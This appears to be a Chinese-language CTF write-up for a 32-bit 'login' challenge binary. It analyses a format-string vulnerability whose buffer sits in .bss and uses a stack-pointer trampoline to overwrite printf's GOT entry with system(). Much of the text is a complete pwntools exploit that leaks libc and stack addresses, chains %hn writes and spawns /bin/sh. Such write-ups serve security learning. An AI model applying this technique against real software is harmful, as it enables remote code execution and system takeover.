checksec下,看下保护

如图,该函数存在漏洞,分析下函数逻辑,read函数将读取的0x32个字节放入s1中,strncmp函数将s1的前8个字节与“wllmmllw“比较,不同返回非0,执行printf函数,相同返回0,跳出循环。

gdb调试,发现printf的参数并不是储存在栈上,而是储存在bss段,所以我们不能直接在栈上写入内容,于是需要借助跳板来在栈上写入相应的值。

这里我们可以借助0xffffd0f8这个跳板,将0xffffd108指向的地址修改为0xffffd0fc,这样我们可以将0xffffd0fc指向的地址修改为我们想要的地址。为什么要修改0xffffd108指向的地址?是因为0xffffd0fc指向的地址高两个字节的地址为0x804,与system高两个字节的地址一致,便于修改,而且这个程序会一直处于while循环,没有leave,ret指令,所以也不用担心修改会破坏程序执行流。于是我们可以将printf函数的got表项的地址写到0xffffd0fc中。同理,我们可以将0xffffd108指向的地址修改为0xffffd10c,并将printf函数的got表项高两个字节地址写入0xffffd10c中。最后,同时修改printf函数的got表项地址指向的printf函数的地址改为system函数的地址,然后在下一次循环中填入/bin/sh,完成调用。printf函数的got表项地址一定要同时修改,否则printf函数的got表项地址指向的是无效的地址,导致程序的崩溃。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
#context(log_level='debug')
p=process('./login')
elf=ELF('./login')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
p.recv()
p.sendline(b'mikokuma')
p.recv()
p.sendline(b'%43$p.%6$p.')
p.recvuntil(b'password: 0x')
true_addr=int(p.recvuntil(b'.',drop=True),16)-147
print(hex(true_addr))

stack_addr=int(p.recvuntil(b'.',drop=True),16)
print(hex(stack_addr))
p.recv()
offset=libc.symbols['__libc_start_main']
base=true_addr-offset
print(hex(base))
sys_offset=libc.symbols['system']
sys_addr=base+sys_offset
print(hex(sys_addr))
payload1=b'%'+str((stack_addr&0xffff)-0xc).encode('utf-8')+b'c%6$hn'
#gdb.attach(p,'b *0x80485AF')
#pause()
p.sendline(payload1)
p.recvuntil(b'Try again!\n')
printf_got=elf.got['printf']
print(hex(printf_got))
payload2=b'%'+str(printf_got&0xffff).encode('utf-8')+b'c%10$hn'
#gdb.attach(p,'b *0x80485AF')
#pause()
p.sendline(payload2)
p.recvuntil(b'Try again!\n')
payload3=b'%'+str((stack_addr&0xffff)+0x4).encode('utf-8')+b'c%6$hn'
#gdb.attach(p,'b *0x80485AF')
#pause()
p.sendline(payload3)
p.recvuntil(b'Try again!\n')
payload4=b'%'+str((printf_got+2)&0xffff).encode('utf-8')+b'c%10$hn'
p.sendline(payload4)
p.recvuntil(b'Try again!\n')
payload5=b'%'+str(sys_addr&0xffff).encode('utf-8')+b'c%7$hn'+b'%'+str(((sys_addr>>16)&0xffff)-(sys_addr&0xffff)).encode('utf-8')+b'c%11$hn'
p.sendline(payload5)
p.recvuntil(b'Try again!\n')
#gdb.attach(p,'b *0x80485AF')
#pause()
p.sendline(b'/bin/sh\x00')

p.interactive()